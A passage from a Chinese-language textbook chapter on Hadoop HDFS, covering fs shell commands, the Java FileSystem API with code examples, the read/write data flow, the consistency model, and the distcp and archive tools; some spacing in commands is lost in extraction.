hdfs：//localhost/user/ubuntu/In/hello.txt\n这条命令调用了Hadoop的终端命令fs。Fs支持很多子命令，这里使用-copyFromLocal命令将本地的文件hello.txt复制到HDFS中的/user/ubuntu/In/hello.txt下。事实上，使用fs命令可以省略URI中的访问协议和主机名，而直接使用配置文件core-site.xml中的默认属性值hdfs：//localhost，即命令改为如下形式即可：\nhadoop fs-copyFromLocal testInput/hello.txt/user/ubuntu/In/hello.txt\n其次，看如何将HDFS中的文件复制到本机，操作命令如下：\nhadoop fs-copyToLocal/user/ubuntu/In/hello.txt testInput/hello.copy.txt\n命令执行后，用户可查看根目录testInput文件夹下的hello.copy.txt文件以验证完成从HDFS到本机的文件复制。\n下面查看创建文件夹的方法：\nhadoop fs-mkdir testDir\n最后，用命令行查看HDFS文件列表：\nhadoop fs-lsr In\n-rw-r--r--1 ubuntu supergroup 348624 2012-03-11 11：34/user/ubuntu/In/CHANGES.txt\n-rw-r--r--1 ubuntu supergroup 13366 2012-03-11 11：34/user/ubuntu/In/LICENSE.txt\n-rw-r--r--1 ubuntu supergroup 101 2012-03-11 11：34/user/ubuntu/In/NOTICE.txt\n-rw-r--r--1 ubuntu supergroup 1366 2012-03-11 11：34/user/ubuntu/In/README.txt\n-rw-r--r--1 ubuntu supergroup 13 2012-03-17 15：14/user/ubuntu/In/hello.txt\n从以上文件列表可以看到，命令返回的结果和Linux下ls-l命令返回的结果相似。返回结果第一列是文件属性，第二列是文件的副本因子，而这是传统的Linux系统没有的。为了方便，笔者配置环境中的副本因子设置为1，所以这里显示为1，我们也看到了从本地复制到In文件夹下的hello.txt文件。\n9.4.2 HDFS的Web界面\n在部署好Hadoop集群之后，便可以直接通过http：//NameNodeIP：50070访问HDFS的Web界面了。HDFS的Web界面提供了基本的文件系统信息，其中包括集群启动时间、版本号、编译时间及是否又升级。\nHDFS的Web界面还提供了文件系统的基本功能：Browse the filesystem（浏览文件系统），点击链接即可看到，它将HDFS的文件结构通过目录的形式展现出来，增加了对文件系统的可读性。此外，可以直接通过Web界面访问文件内容。同时，HDFS的Web界面还将该文件块所在的节点位置展现出来。可以通过设置Chunk size to view来设置一次读取并展示的文件块大小。\n除了在本节中展示的信息之外，HDFS的Web界面还提供了NameNode的日志列表、运行中的节点列表及宕机的节点列表等信息。\n9.5 HDFS常用Java API详解\n9.1 中已经了解了Java API的重要性，本节深入介绍Hadoop的Filesystem类与Hadoop文件系统进行交互的API。\n 9.5.1 使用Hadoop URL读取数据\n如果想从Hadoop中读取数据，最简单的办法就是使用java.net.URL对象打开一个数据流，并从中读取数据，一般的调用格式如下：\nInputStream in=null；\ntry{\nin=new URL（\"hdfs：//NameNodeIP/path\"）.openStream（）；\n//process in\n}finally{\nIOUtils.closeStream（in）；\n}\n这里要进行的处理是，通过FsUrlStreamHandlerFactory实例来调用在URL中的setURL-StreamHandlerFactory方法。这种方法在一个Java虚拟机中只能调用一次，因此放在一个静态方法中执行。这意味着如果程序的其他部分也设置了一个URLStreamHandlerFactory，那么会导致无法再从Hadoop中读取数据。\n读取文件系统中的路径为hdfs：//NameNodeIP/user/ubuntu/In/hello.txt的文件hello.txt，如例9-1所示。这里假设hello.txt的文件内容为“Hello Hadoop！”。\n例9-1：使用URLStreamHandler以标准输出显示Hadoop文件系统文件\npackage cn.edn.ruc.cloudcomputing.book.chapter09；\nimport java.io.*；\nimport java.net.URL；\nimport org.apache.hadoop.fs.FsUrlStreamHandlerFactory；\nimport org.apache.hadoop.fs.Path；\nimport org.apache.hadoop.filecache.DistributedCache；\nimport org.apache.hadoop.conf.*；\nimport org.apache.hadoop.io.*；\npublic class URLCat{\nstatic{\nURL.setURLStreamHandlerFactory（new FsUrlStreamHandlerFactory（））；\n}\npublic static void main（String[]args）throws Exception{\nInputStream in=null；\ntry{\nin=new URL（args[0]）.openStream（）；\nIOUtils.copyBytes（in, System.out，4096，false）；\n}finally{\nIOUtils.closeStream（in）；\n}\n}\n}\n然后在Eclipse下设置程序运行参数为：hdfs：//NameNodeIP/user/ubuntu/In/hello.txt，运行程序即可看到hello.txt中的文本内容。\n需要说明的是，这里使用了Hadoop中简洁的IOUtils类来关闭finally子句中的数据流，同时复制输出流之间的字节（System.out）。例9-1中用到的IOUtils.copyBytes（）方法，其中的两个参数，前者表示复制缓冲区的大小，后者表示复制后关闭数据流。\n9.5.2 使用FileSystem API读取数据\n9.5.1 节提到在应用中会出现不能使用URLStreamHandlerFactory的情况，这时就需要使用FileSystem的API打开一个文件的输入流了。\n文件在Hadoop文件系统中被视为一个Hadoop Path对象。我们可以把一个路径视为Hadoop的文件系统URI，比如上文中的hdfs：//localhost/user/ubuntu/In/hello.txt。\nFileSystemAPI是一个高层抽象的文件系统API，所以，首先要找到这里的文件系统实例HDFS。取得FileSystem实例有两种静态工厂方法：\npublic static FileSystem get（Configuration conf）throws IOException\npublic static FileSystem get（URI uri, Configuration conf）throws IOException\nConfiguration对象封装了一个客户端或服务器的配置，这是用路径读取的配置文件设置的，一般为conf/core-site.xml。第一个方法返回的是默认文件系统，如果没有设置，则为默认的本地文件系统。第二个方法使用指定的URI方案决定文件系统的权限，如果指定的URI中没有指定方案，则退回默认的文件系统。\n有了FileSystem实例后，可通过open（）方法得到一个文件的输入流：\npublic FSDataInputStream open（Path f）throws IOException\npublic abstract FSDataInputStream open（Path f, int bufferSize）throws IOException\n第一个方法直接使用默认的4KB的缓冲区，如例9-2所示。\n例9-2：使用FileSystem API显示Hadoop文件系统中的文件\npublic class FileSystemCat{\npublic static void main（String[]args）throws Exception{\nString uri=args[0]；\nConfiguration conf=new Configuration（）；\nFileSystem fs=FileSystem.get（URI.create（uri），conf）；\nInputStream in=null；\ntry{\nin=fs.open（new Path（uri））；\nIOUtils.copyBytes（in, System.out，4096，false）；\n}finally{\nIOUtils.closeStream（in）；\n}\n}\n}\n然后设置程序运行参数为hdfs：//localhost/user/ubuntu/In/hello.txt，运行程序即可看到hello.txt中的文本内容“Hello Hadoop！”。\n下面对例9-2中的程序进行扩展，重点关注FSDataInputStream。\nFileSystem中的open方法实际上返回的是一个FSDataInputStream，而不是标准的java.io类。这个类是java.io.DataInputStream的一个子类，支持随机访问，并可以从流的任意位置读取，代码如下：\npublic class FSDataInputStream extends DataInputStream\nimplements Seekable, PositionedReadable{\n//implementation elided\n}\nSeekable接口允许在文件中定位并提供一个查询方法用于查询当前位置相对于文件开始的偏移量（getPos（）），代码如下：\npublic interface Seekable{\nvoid seek（long pos）throws IOException；\nlong getPos（）throws IOException；\nboolean seekToNewSource（long targetPos）throws IOException；\n}\n其中，调用seek（）来定位大于文件长度的位置会导致IOException异常。开发人员并不常用seekT-oNewSource（）方法，此方法倾向于切换到数据的另一个副本，并在新的副本中找寻targetPos制定的位置。HDFS就采用这样的方法在数据节点出现故障时为客户端提供可靠的数据流访问的。如例9-3所示。\n例9-3：扩展例9-2，通过使用seek读取一次后，重新定位到文件头第三位，再次显示Hadoop文件系统中的文件内容\npackage cn.edn.ruc.cloudcomputing.book.chapter09；\nimport java.io.*；\nimport java.net.URI；\nimport java.net.URL；\nimport java.util.*；\nimport org.apache.hadoop.fs.FSDataInputStream；\nimport org.apache.hadoop.fs.FsUrlStreamHandlerFactory；\nimport org.apache.hadoop.fs.Path；\nimport org.apache.hadoop.fs.FileSystem；\nimport org.apache.hadoop.filecache.DistributedCache；\nimport org.apache.hadoop.conf.*；\nimport org.apache.hadoop.io.*；\nimport org.apache.hadoop.mapred.*；\nimport org.apache.hadoop.util.*；\npublic class DoubleCat{\npublic static void main（String[]args）throws Exception{\nString uri=args[0]；\nConfiguration conf=new Configuration（）；\nFileSystem fs=FileSystem.get（URI.create（uri），conf）；\nFSDataInputStream in=null；\ntry{\nin=fs.open（new Path（uri））；\nIOUtils.copyBytes（in, System.out，4096，false）；\nin.seek（3）；//go back to pos 3 of the file\nIOUtils.copyBytes（in, System.out，4096，false）；\n}finally{\nIOUtils.closeStream（in）；\n}\n}\n}\n然后设置程序运行参数为hdfs：//localhost/user/ubuntu/In/hello.txt，运行程序即可看到hello.txt中的文本内容“Hello Hadoop！lo Hadoop！”。\n同时，FSDataInputStream也实现了PositionedReadable接口，从一个制定位置读取一部分数据。这里不再详细介绍，大家可以参考以下源代码。\npublic interface PositionedReadable{\npublic int read（long position, byte[]buffer, int offset, int length）\nthrows IOException；\npublic void readFully（long position, byte[]buffer, int offset, int length）\nthrows IOException；\npublic void readFully（long position, byte[]buffer）throws IOException；\n}\n需要注意的是，seek（）是一个高开销的操作，需要慎重使用。通常我们是依靠流数据MapReduce构建应用访问模式，而不是大量地执行seek操作。\n9.5.3 创建目录\nFileSystem显然也提供了创建目录的方法，代码如下：\npublic boolean mkdirs（Path f）throws IOException\n这个方法会按照客户端请求创建未存在的父目录，就像java.io.File的mkdirs（）一样。如果目录包括所有父目录且创建成功，那么它会返回true。事实上，一般不需要特别地创建一个目录，因为调用creat（）时写入文件会自动生成所有的父目录。\n9.5.4 写数据\nFileSystem还有一系列创建文件的方法，最简单的就是给拟创建的文件指定一个路径对象，然后返回一个写输出流，代码如下：\npublic FSDataOutputStream create（Path f）throws IOException\n这个方法有很多重载方法，例如，可以设定是否强制覆盖原文件、设定文件副本数量、设置写入文件缓冲区大小、文件块大小及设置文件许可等。\n还有一个用于传递回调接口的重载方法Progressable，通过这个方法就可以获得数据节点写入进度，代码如下：\npackage org.apache.hadoop.util；\npublic interface Progressable{\npublic void progress（）；\n}\n新建文件也可以使用append（）在一个已有文件中追加内容，这个方法也有重载，代码如下：\npublic FSDataOutputStream append（Path f）throws IOException\n这个方法对于写入日志文件很有用，比如在重启后可以在之前的日志中继续添加内容，但并不是所有的Hadoop文件系统都支持此方法，比如HDFS支持，但S3不支持。\n例9-4展示了如何将本地文件复制到Hadoop的文件系统，当Hadoop调用progress（）方法时，也就是在每64KB数据包写入数据节点管道之后，打印一个星号来展示整个过程。\n例9-4：将本地文件复制到Hadoop文件系统并显示进度\npublic class FileCopyWithProgress{\npublic static void main（String[]args）throws Exception{\nString localSrc=args[0]；\nString dst=args[1]；\nInputStream in=new BufferedInputStream（new FileInputStream（localSrc））；\nConfiguration conf=new Configuration（）；\nFileSystem fs=FileSystem.get（URI.create（dst），conf）；\nOutputStream out=fs.create（new Path（dst），new Progressable（）{\npublic void progress（）{\nSystem.out.print（\"*\"）；\n}\n}）；\nIOUtils.copyBytes（in, out，4096，true）；\n}\n}\n然后配置应用参数，可以看到控制台输出“******”，即上传显示进度，每写入64KB即输出一个*。目前其他文件系统写入时都不会调用progeress（）。\n9.5.3节在介绍读数据时提到FSDataInputStream，这里FileSystem中的creat（）方法也返回一个FSDataOutputStream，它也有一个查询文件当前位置的方法，代码如下：\npackage org.apache.hadoop.fs；\npublic class FSDataOutputStream extends DataOutputStream implements Syncable{\npublic long getPos（）throws IOException{\n//implementation elided\n}\n//implementation elided\n}\n但是它与FSDataInputStream不同，FSDataOutputStream不允许定位。这是因为HDFS只对一个打开的文件顺序写入，或者向一个已有的文件添加。换句话说，它不支持对除文件尾部以外的其他位置进行写入，这样，写入时的定位就没有意义了。\n9.5.5 删除数据\n使用FileSystem的delete（）可以永久删除Hadoop中的文件或目录。\npublic boolean delete（Path f, boolean recursive）throws IOException\n如果传入的f为空文件或空目录，那么recursive值会被忽略。只有当recursive的值为true时，非空的文件或目录才会被删除，否则抛出异常。\n9.5.6 文件系统查询\n同样，Java API提供了文件系统的基本查询接口。通过这个接口，可以查询系统的元数据信息和文件目录结构，并可以进行更复杂的目录匹配等操作。下面将一一进行介绍。\n1.文件元数据：Filestatus\n任何文件系统要具备的重要功能就是定位其目录结构及检索器存储的文件和目录信息。FileStatus类封装了文件系统中文件和目录的元数据，其中包括文件长度、块大小、副本、修改时间、所有者和许可信息等。\nFileSystem的getFileStatus（）方法提供了获取一个文件或目录的状态对象的方法，如例9-5所示。\n例9-5：获取文件状态信息\npublic class ShowFileStatusTest{\nprivate MiniDFSCluster cluster；//use an in-process HDFS cluster for testing\nprivate FileSystem fs；\n@Before\npublic void setUp（）throws IOException{\nConfiguration conf=new Configuration（）；\nif（System.getProperty（\"test.build.data\"）==null）{\nSystem.setProperty（\"test.build.data\"，\"/tmp\"）；\n}\ncluster=new MiniDFSCluster（conf，1，true, null）；\nfs=cluster.getFileSystem（）；\nOutputStream out=fs.create（new Path（\"/dir/file\"））；\nout.write（\"content\".getBytes（\"UTF-8\"））；\nout.close（）；\n}\n@After\npublic void tearDown（）throws IOException{\nif（fs！=null）{fs.close（）；}\nif（cluster！=null）{cluster.shutdown（）；}\n}\n@Test（expected=FileNotFoundException.class）\npublic void throwsFileNotFoundForNonExistentFile（）throws IOException{\nfs.getFileStatus（new Path（\"no-such-file\"））；\n}\n@Test\npublic void fileStatusForFile（）throws IOException{\nPath file=new Path（\"/dir/file\"）；\nFileStatus stat=fs.getFileStatus（file）；\nassertThat（stat.getPath（）.toUri（）.getPath（），is（\"/dir/file\"））；\nassertThat（stat.isDir（），is（false））；\nassertThat（stat.getLen（），is（7L））；\nassertThat（stat.getModificationTime（），\nis（lessThanOrEqualTo（System.currentTimeMillis（））））；\nassertThat（stat.getReplication（），is（（short）1））；\nassertThat（stat.getBlockSize（），is（64*1024*1024L））；\nassertThat（stat.getOwner（），is（\"tom\"））；\nassertThat（stat.getGroup（），is（\"supergroup\"））；\nassertThat（stat.getPermission（）.toString（），is（\"rw-r--r--\"））；\n}\n@Test\npublic void fileStatusForDirectory（）throws IOException{\nPath dir=new Path（\"/dir\"）；\nFileStatus stat=fs.getFileStatus（dir）；\nassertThat（stat.getPath（）.toUri（）.getPath（），is（\"/dir\"））；\nassertThat（stat.isDir（），is（true））；\nassertThat（stat.getLen（），is（0L））；\nassertThat（stat.getModificationTime（），\nis（lessThanOrEqualTo（System.currentTimeMillis（））））；\nassertThat（stat.getReplication（），is（（short）0））；\nassertThat（stat.getBlockSize（），is（0L））；\nassertThat（stat.getOwner（），is（\"tom\"））；\nassertThat（stat.getGroup（），is（\"supergroup\"））；\nassertThat（stat.getPermission（）.toString（），is（\"rwxr-xr-x\"））；\n}\n}\n如果文件或者目录不存在，就会抛出FileNotFoundException异常；如果只对文件或目录是否存在感兴趣，那么用exists（）方法更方便：\npublic boolean exists（Path f）throws IOException\n2.列出目录文件信息\n查找文件或者目录信息很有用，但是，有时需要列出目录的内容，这需要使用lis-tStatus（）方法，代码如下：\npublic FileStatus[]listStatus（Path f）throws IOException\npublic FileStatus[]listStatus（Path f, PathFilter filter）throws IOException\npublic FileStatus[]listStatus（Path[]files）throws IOException\npublic FileStatus[]listStatus（Path[]files, PathFilter filter）throws IOException\n当传入参数是一个文件时，它会简单地返回长度为1的FileStatus对象的一个数组。当传入参数为一个目录时，它会返回0个或多个FileStatus对象，代表该目录所包含的文件和子目录。\n我们看到listStatus（）有很多重载方法，可以使用PathFilter来限制匹配的文件和目录。如果把路径数组作为参数来调用listStatus（）方法，其结果与一次对多个目录进行查询、再将FileStatus对象数组收集到一个单一的数组的结果是相同的。当然我们可以感受到，前者更为方便。例9-6是一个简单的示范。\n例9-6：显示Hadoop文件系统中的一个目录的文件信息\npackage cn.edn.ruc.cloudcomputing.book.chapter09；\nimport java.util.*；\nimport org.apache.hadoop.fs.FSDataInputStream；\nimport org.apache.hadoop.fs.FileStatus；\nimport org.apache.hadoop.fs.FileUtil；\nimport org.apache.hadoop.fs.Path；\nimport org.apache.hadoop.fs.FileSystem；\npublic class ListStatus{\npublic static void main（String[]args）throws Exception{\nString uri=args[0]；\nConfiguration conf=new Configuration（）；\nFileSystem fs=FileSystem.get（URI.create（uri），conf）；\nPath[]paths=new Path[args.length]；\nfor（int i=0；i＜paths.length；i++）{\npaths[i]=new Path（args[i]）；\n}\nFileStatus[]status=fs.listStatus（paths）；\nPath[]listedPaths=FileUtil.stat2Paths（status）；\nfor（Path p：listedPaths）{\nSystem.out.println（p）；\n}\n}\n}\n配置应用参数可以查看文件系统的目录，可以查看HDFS中对应文件目录下的文件信息。\n3.通过通配符实现目录筛选\n有时候我们需要批量处理文件，比如处理日志文件，这时可能要求MapRedece任务分析一个月的文件。这些文件包含在大量目录中，这就要求我们进行一个通配符操作，并使用通配符核对多个文件。Hadoop为通配符提供了两个方法，可以在FileSystem中找到：\npublic FileStatus[]globStatus（Path pathPattern）throws IOException\npublic FileStatus[]globStatus（Path pathPattern, PathFilter filter）throws IOException\nglobStatus（）返回了其路径匹配所提供的FileStatus对象数组，再按路径进行排序，其中可选的PathFilter命令可以进一步限定匹配。\n表9-2是Hadoop支持的一系列通配符。\n下面通过例子进行详细说明，假设一个日志文件的存储目录是分层组织的，其中目录格式为年/月/日：/2009/12/30、/2009/12/31、/2010/01/01、/2010/01/02。表9-3是通配符的部分样例。\n4.PathFilter对象\n使用通配符有时也不一定能够精确地定位到要访问的文件集合，比如排除一个特定的文件，这时可以使用FileSystem中的listStatus（）和globStatus（）方法提供可选的PathFileter对象来通过编程的办法控制匹配结果，如下面的代码所示。\npackage org.apache.hadoop.fs；\npublic interface PathFilter{\nboolean accept（Path path）；\n}\n下面来看一个PathFilter的应用，如例9-7所示。\n例9-7：使用PathFilter排除匹配正则表达式的目录\npublic class RegexExcludePathFilter implements PathFilter{\nprivate final String regex；\npublic RegexExcludePathFilter（String regex）{\nthis.regex=regex；\n}\npublic boolean accept（Path path）{\nreturn！path.toString（）.matches（regex）；\n}\n}\n这个过滤器将留下与正则表达式不匹配的文件。\n9.6 HDFS中的读写数据流\n在本节中，我们将对HDFS的读/写数据流进行详细介绍，以帮助大家理解HDFS具体是如何工作的。\n 9.6.1 文件的读取\n本节将详细介绍在执行读取操作时客户端和HDFS交互过程的实现，以及NameNode和各DataNode之间的数据流是什么。下面将围绕图9-2进行具体讲解。\n图 9-2 客户端从HDFS中读取数据\n首先，客户端通过调用FileSystem对象中的open（）函数来读取它需要的数据。FlieSystem是HDFS中DistributedFileSystem的一个实例（参见图9-2第1步）。DistributedFileSystem会通过RPC协议调用NameNode来确定请求文件块所在的位置。这里需要注意的是，NameNode只会返回所调用文件中开始的几个块而不是全部返回（参见图9-2第2步）。对于每个返回的块，都包含块所在的DataNode地址。随后，这些返回的DataNode会按照Hadoop定义的集群拓扑结构得出客户端的距离，然后再进行排序。如果客户端本身就是一个DataNode，那么它将从本地读取文件。\n其次，DistributedFileSystem会向客户端返回一个支持文件定位的输入流对象FSDataInput-Stream，用于给客户端读取数据。FSDataInputStream包含一个DFSInputStream对象，这个对象用来管理DataNode和NameNode之间的I/O。\n当以上步骤完成时，客户端便会在这个输入流之上调用read（）函数（参见图9-2第3步）。DFSInputStream对象中包含文件开始部分数据块所在的DataNode地址，首先它会连接包含文件第一个块最近的DataNode。随后，在数据流中重复调用read（）函数，直到这个块全部读完为止（参见图9-2第4步）。当最后一个块读取完毕时，DFSInputStream会关闭连接，并查找存储下一个数据块距离客户端最近的DataNode（参见图9-2第5步）。以上这些步骤对客户端来说都是透明的。\n客户端按照DFSInpuStream打开和DataNode连接返回的数据流的顺序读取该块，它也会调用NameNode来检索下一组块所在的DataNode的位置信息。当完成所有文件的读取时，客户端则会在FSDataInputStream中调用close（）函数（参见图9-2第6步）。\n当然，HDFS会考虑在读取中节点出现故障的情况。目前HDFS是这样处理的：如果客户端和所连接的DataNode在读取时出现故障，那么它就会去尝试连接存储这个块的下一个最近的DataNode，同时它会记录这个节点的故障，这样它就不会再去尝试连接和读取块。客户端还会验证从DataNode传送过来的数据校验和。如果发现一个损坏的块，那么客户端将会再尝试从别的DataNode读取数据块，向NameNode报告这个信息，NameNode也会更新保存的文件信息。\n这里要关注的一个设计要点是，客户端通过NameNode引导获取最合适的DataNode地址，然后直接连接DataNode读取数据。这种设计的好处在于，可以使HDFS扩展到更大规模的客户端并行处理，这是因为数据的流动是在所有DataNode之间分散进行的；同时NameNode的压力也变小了，使得NameNode只用提供请求块所在的位置信息就可以了，而不用通过它提供数据，这样就避免了NameNode随着客户端数量的增长而成为系统瓶颈。\n9.6.2 文件的写入\n本小节将对HDFS中文件的写入过程进行详细介绍。图9-3就是在HDFS中写入一个新文件的数据流图。\n第一，客户端通过调用DistributedFileSystem对象中的creat（）函数创建一个文件（参见图9-3）。DistributedFileSystem通过RPC调用在NameNode的文件系统命名空间中创建一个新文件，此时还没有相关的DataNode与之关联。\n第二，NameNode会通过多种验证保证新的文件不存在文件系统中，并且确保请求客户端拥有创建文件的权限。当所有验证通过时，NameNode会创建一个新文件的记录，如果创建失败，则抛出一个IOException异常；如果成功，则DistributedFileSystem返回一个FSDataOutputStream给客户端用来写入数据。这里FSDataOutputStream和读取数据时的FSDataInputStream一样都包含一个数据流对象DFSOutputStream，客户端将使用它来处理和DataNode及NameNode之间的通信。\n第三，当客户端写入数据时，DFSOutputStream会将文件分割成包，然后放入一个内部队列，我们称为“数据队列”。DataStreamer会将这些小的文件包放入数据流中，DataStreamer的作用是请求NameNode为新的文件包分配合适的DataNode存放副本。返回的DataNode列表形成一个“管道”，假设这里的副本数是3，那么这个管道中就会有3个DataNode。DataStreamer将文件包以流的方式传送给队列中的第一个DataNode。第一个DataNode会存储这个包，然后将它推送到第二个DataNode中，随后照这样进行，直到管道中的最后一个DataNode。\n图 9-3 客户端在HDFS中写入数据\n第四，DFSOutputStream同时也会保存一个包的内部队列，用来等待管道中的DataNode返回确认信息，这个队列被称为确认队列（ack queue）。只有当所有管道中的DataNode都返回了写入成功的返回信息文件包，才会从确认队列中删除。\n当然HDFS会考虑写入失败的情况，当数据写入节点失败时，HDFS会做出以下反应。首先管道会被关闭，任何在确认通知队列中的文件包都会被添加到数据队列的前端，这样管道中失败的DataNode都不会丢失数据。当前存放于正常工作DataNode之上的文件块会被赋予一个新的身份，并且和NameNode进行关联，这样，如果失败的DataNode过段时间从故障中恢复出来，其中的部分数据块就会被删除。然后管道会把失败的DataNode删除，文件会继续被写到管道中的另外两个DataNode中。最后NameNode会注意到现在的文件块副本数没有达到配置属性要求，会在另外的DataNode上重新安排创建一个副本。随后的文件会正常执行写入操作。\n当然，在文件块写入期间，多个DataNode同时出现故障的可能性存在，但是很小。只要dfs.replication.min的属性值（默认为1）成功写入，这个文件块就会被异步复制到集群的其他DataNode中，直到满足dfs.replication属性值（默认为3）。\n客户端成功完成数据写入的操作后，就会调用6种close（）函数关闭数据流（参见图9-3第6步）。这步操作会在连接NameNode确认文件写入完全之前将所有剩下的文件包放入DataNode管道，等待通知确认信息。NameNode会知道哪些块组成一个文件（通过DataStreamer获得块位置信息），这样NameNode只要在返回成功标志前等待块被最小量（dfs.replication.min）复制即可。\n9.6.3 一致性模型\n文件系统的一致性模型描述了文件读/写的可见性。HDFS牺牲了一些POSIX的需求来补偿性能，所以有些操作可能会和传统的文件系统不同。\n当创建一个文件时，它在文件系统的命名空间中是可见的，代码如下：\nPath p=new Path（\"p\"）；\nfs.create（p）；\nassertThat（fs.exists（p），is（true））；\n但是对这个文件的任何写操作不保证是可见的，即使在数据流已经刷新的情况下，文件的长度很长时间也会显示为0：\nPath p=new Path（\"p\"）；\nOutputStream out=fs.create（p）；\nout.write（\"content\".getBytes（\"UTF-8\"））；\nout.flush（）；\nassertThat（fs.getFileStatus（p）.getLen（），is（0L））；\n一旦一个数据块写入成功，大家提出新的请求就可以看到这个块，而对当前写入的块，大家是看不见的。HDFS提供了所有缓存和DataNode之间的数据强制同步的方法，这个方法是FSDataOutputStream中的sync（）函数。当sync（）函数返回成功时，HDFS就可以保证此时写入的文件数据是一致的并且对于所有新的用户都是可见的。即使HDFS客户端之间发生冲突，也不会发生数据丢失，代码如下：\nPath p=new Path（\"p\"）；\nFSDataOutputStream out=fs.create（p）；\nout.write（\"content\".getBytes（\"UTF-8\"））；\nout.flush（）；\nout.sync（）；\nassertThat（fs.getFileStatus（p）.getLen（），is（（（long）\"content\".length（））））；\n这个操作类似于UNIX系统中的fsync系统调用，为一个文件描述符提交缓存数据，利用Java API写入本地数据，这样就可以保证看到刷新流并且同步之后的数据，代码如下：\nFileOutputStream out=new FileOutputStream（localFile）；\nout.write（\"content\".getBytes（\"UTF-8\"））；\nout.flush（）；//flush to operating system\nout.getFD（）.sync（）；//sync to disk\nassertThat（localFile.length（），is（（（long）\"content\".length（））））；\n在HDFS中关闭一个文件也隐式地执行了sync（）函数，代码如下：\nPath p=new Path（\"p\"）；\nOutputStream out=fs.create（p）；\nout.write（\"content\".getBytes（\"UTF-8\"））；\nout.close（）；\nassertThat（fs.getFileStatus（p）.getLen（），is（（（long）\"content\".length（））））；\n下面来了解一致性模型对应用设计的重要性。文件系统的一致性和设计应用程序的方法有关。如果不调用sync（），那么需要做好因客户端或者系统发生故障而丢失部分数据的准备。对大多数应用程序来说，这是不可接受的，所以需要在合适的时刻调用sync（），比如在写入一定量的数据之后。尽管sync（）被设计用来最大限度地减少HDFS的负担，但是它仍然有不可忽视的开销，所以需要在数据健壮性和吞吐量之间做好权衡。其中一个好的参考平衡点就是：通过测试应用程序来选择不同sync（）频率间性能的最佳平衡点。\n9.7 HDFS命令详解\nHadoop提供了一组shell命令在命令行终端对Hadoop进行操作。这些操作包括诸如格式化文件系统、上传和下载文件、启动DataNode、查看文件系统使用情况、运行JAR包等几乎所有和Hadoop相关的操作。本节将具体介绍HDFS的相关命令操作。\n 9.7.1 通过distcp进行并行复制\nJava API等多种接口对HDFS访问模型都集中于单线程的存取，如果要对一个文件集进行操作，就需要编写一个程序进行并行操作。HDFS提供了一个非常实用的程序—distcp，用来在Hadoop文件系统中并行地复制大数据量文件。distcp一般适用于在两个HDFS集群间传送数据的情况。如果两个集群都运行在同一个Hadoop版本上，那么可以使用HDFS模式：\nhadoop distcp hdfs：//NameNode1/foo hdfs：//NameNode2/bar\n这条命令会将第一个集群/foo文件夹以及文件夹下的文件复制到第二个集群/bar目录下，即在第二个集群中会以/bar/foo的目录结构出现。如果/bar目录不存在，则系统会新建一个。也可以指定多个数据源，并且所有的内容都会被复制到目标路径。需要注意的是，源路径必须是绝对路径。\n默认情况下，虽然distcp会跳过在目标路径上已经存在的文件，但是通过-overwirte选项可以选择对这些文件进行覆盖重写，也可以使用-update选项仅对更新过的文件进行重写。\ndistcp操作有很多选项可以设置，比如忽略失败、限制文件或者复制的数据量等。直接输入指令或者不附加选项可以查看此操作的使用说明。具体实现时，distcp操作会被解析为一个MapReduce操作来执行，当没有Reducer操作时，复制被作为Map操作并行地在集群节点中运行。因此，每个文件都可以被当成一个Map操作来执行复制。而distcp会通过执行多个文件聚集捆绑操作，尽可能地保证每个Map操作执行相同数量的数据。那么执行distcp时，Map操作如何确定呢？由于系统需要保证每个Map操作执行的数据量是合理的，来最大化地减少Map执行的开销，而按规定，每个Map最少要执行256MB的数据量（除非复制的全部数据量小于256MB）。比如要复制1GB的数据，那么系统就会分配4个Map任务，当数据量非常大时，就需要限制执行的Map任务数，以限制网络带宽和集群的使用率。默认情况下，每个集群的一个节点最多执行20个Map任务。比如，要复制1000GB数据到100节点的集群中，那么系统就会分配2000个Map任务（每个节点20个），也就是说，每个节点会平均复制512MB。还可以通过调整distcp的-m参数减少Map任务量，比如-m 1000就意味着分配1000个Maps，每个节点分配1GB数据量。\n如果尝试使用distcp进行HDFS集群间的复制，使用HDFS模式之后，HDFS运行在不同的Hadoop版本之上，复制将会因为RPC系统的不匹配而失败。为了纠正这个错误，可以使用基于HTTP的HFTP进行访问。因为任务要在目标集群中执行，所以HDFS的RPC版本需要匹配，在HFTP模式下运行的代码如下：\nhadoop distcp hftp：//NameNode1：50070/foo hdfs：//NameNode2/bar\n需要注意的是，要定义访问源的URI中NameNode的网络接口，这个接口会通过dfs.http.address的属性值设定，默认值为50070。\n9.7.2 HDFS的平衡\n当复制大规模数据到HDFS时，要考虑的一个重要因素是文件系统的平衡。当系统中的文件块能够很好地均衡分布到集群各节点时，HDFS才能够更好地工作，所以要保证distcp操作不会打破这个平衡。回到前面复制1000GB数据的例子，当设定-m为1，就意味着1个Map操作可以完成1000GB的操作。这样不仅会让复制操作非常慢，而且不能充分利用集群的性能。最重要的是复制文件的第一个块都要存储在执行Map任务的那个节点上，直到这个节点的磁盘被写满，显然这个节点是不平衡的。通常我们通过设置更多的、超过集群节点的Map任务数来避免不平衡情况的发生，所以最好的选择是刚开始还是使用的默认属性值，每个节点分配20个Map任务。\n当然，我们不能保证集群总能够保持平衡，有时可能会限制Map的数量以便节点可以被其他任务使用，这样HDFS还提供了一个工具balancer（参见第10章）来改变集群中的文件块存储的平衡。\n9.7.3 使用Hadoop归档文件\n在9.2节中介绍过，每个文件HDFS采用块方式进行存储，在系统运行时，文件块的元数据信息会被存储在NameNode的内存中，因此，对HDFS来说，大规模存储小文件显然是低效的，很多小文件会耗尽NameNode的大部分内存。\nHadoop归档文件和HAR文件可以将文件高效地放入HDFS块中的文件存档设备，在减少NameNode内存使用的同时，仍然允许对文件进行透明访问。具体来说，Hadoop归档文件可以作为MapReduce的输入。这里需要注意的是，小文件并不会占用太多的磁盘空间，比如设定一个128MB的文件块来存储1MB的文件，实际上存储这个文件只需要1MB磁盘空间，而不是128MB。\nHadoop归档文件是通过archive命令工具根据文件集合创建的。因为这个工具需要运行一个MapReduce来并行处理输入文件，所以需要一个运行MapReduce的集群。而HDFS中有些文件是需要进行归档的，例如：\nhadoop fs-lsr/user/ubuntu/In/\n-rw-r--r--3 ubuntu\\ubuntu supergroup 13 2012-03-18 20：15/user/ubuntu/In/hello.c.txt\n-rw-r--r--1 ubuntu\\ubuntu supergroup 13 2012-03-17 15：13/user/ubuntu/In/hello.txt\n运行archive命令如下：\nhadoop archive-archiveName files.har/user/ubuntu/In//user/ubuntu/\n12/03/18 20：46：47 INFO mapred.JobClient：Running job：job_201010182044_0001\n12/03/18 20：46：48 INFO mapred.JobClient：map 0%reduce 